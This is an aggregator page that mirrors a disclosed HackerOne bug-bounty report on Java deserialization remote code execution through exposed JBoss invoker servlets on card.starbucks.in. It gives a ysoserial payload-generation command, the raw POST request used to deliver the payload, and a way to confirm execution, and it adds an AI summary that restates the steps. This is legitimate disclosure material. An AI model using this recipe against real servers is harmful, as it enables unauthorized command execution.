Skip to content
RCE Disclosed report Intermediate

Java Deserialization RCE via JBoss JMXInvokerServlet/EJBInvokerServlet on card.starbucks.in

The JBoss JMXInvokerServlet and EJBInvokerServlet were exposed and accepted Java serialized objects, allowing remote code execution. The attacker could run arbitrary commands on the server, though egress filtering prevented a reverse shell.

meals Follow

Originally disclosed on HackerOne

  • Triaged in 18 days
  • Fixed in 58 days
  • Disclosed after 6 months

I found an open JMXInvokerServlet/EJBInvokerServlet and normally I should be able to get a shell just by doing that. However I think due to some egress filtering on the box I've been having issues getting a shell to run.

Invokers: https://card.starbucks.in/invoker/EJBInvokerServlet and https://card.starbucks.in/invoker/JMXInvokerServlet

Command to output serialized data to a file: $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'cmd.exe' > serialdata

This puts the serialized data for executing cmd.exe into a file that I can then paste into burp.

Create a new burp repeater tab and paste in the following (running on https):

POST /invoker/EJBInvokerServlet HTTP/1.1 Host: card.starbucks.in Accept: / Accept-Language: en ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0

Then right click an select "Paste from file"

Hit Go and our burp repeater tab should look like the following:

You will notice I am searching for the string "cannot find" in the response tab. If a file is not found on the windows host it will return saying "The system cannot find the file specified" as well as another variation of that. Since the first request is for cmd.exe which IS found on the system this error is not present. This can also be verified by running telnet, ftp, calc.exe.

The following will produce a "The system cannot find the file specified" error: $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'fakefile.exe' > serialdata

Burp Output:

This is proving that files are being run on the system.

The original report as published on HackerOne, by meals. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute arbitrary commands on the server, but egress filtering may have limited outbound connections, preventing a reverse shell.

What the attacker needed

Network access to the invoker endpoints

How it was found

  1. Generate serialized payload for a command using ysoserial and save to a file.
  2. Create a POST request to the invoker endpoint with the serialized data as the body.
  3. Send the request and observe the response for command execution evidence.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Java serialization is a way to turn objects into bytes so they can be sent over a network. If a server accepts serialized data from untrusted sources without checking it, an attacker can craft malicious data that makes the server run commands. Here, the server had a public endpoint that did exactly that.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by meals

View all

9 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.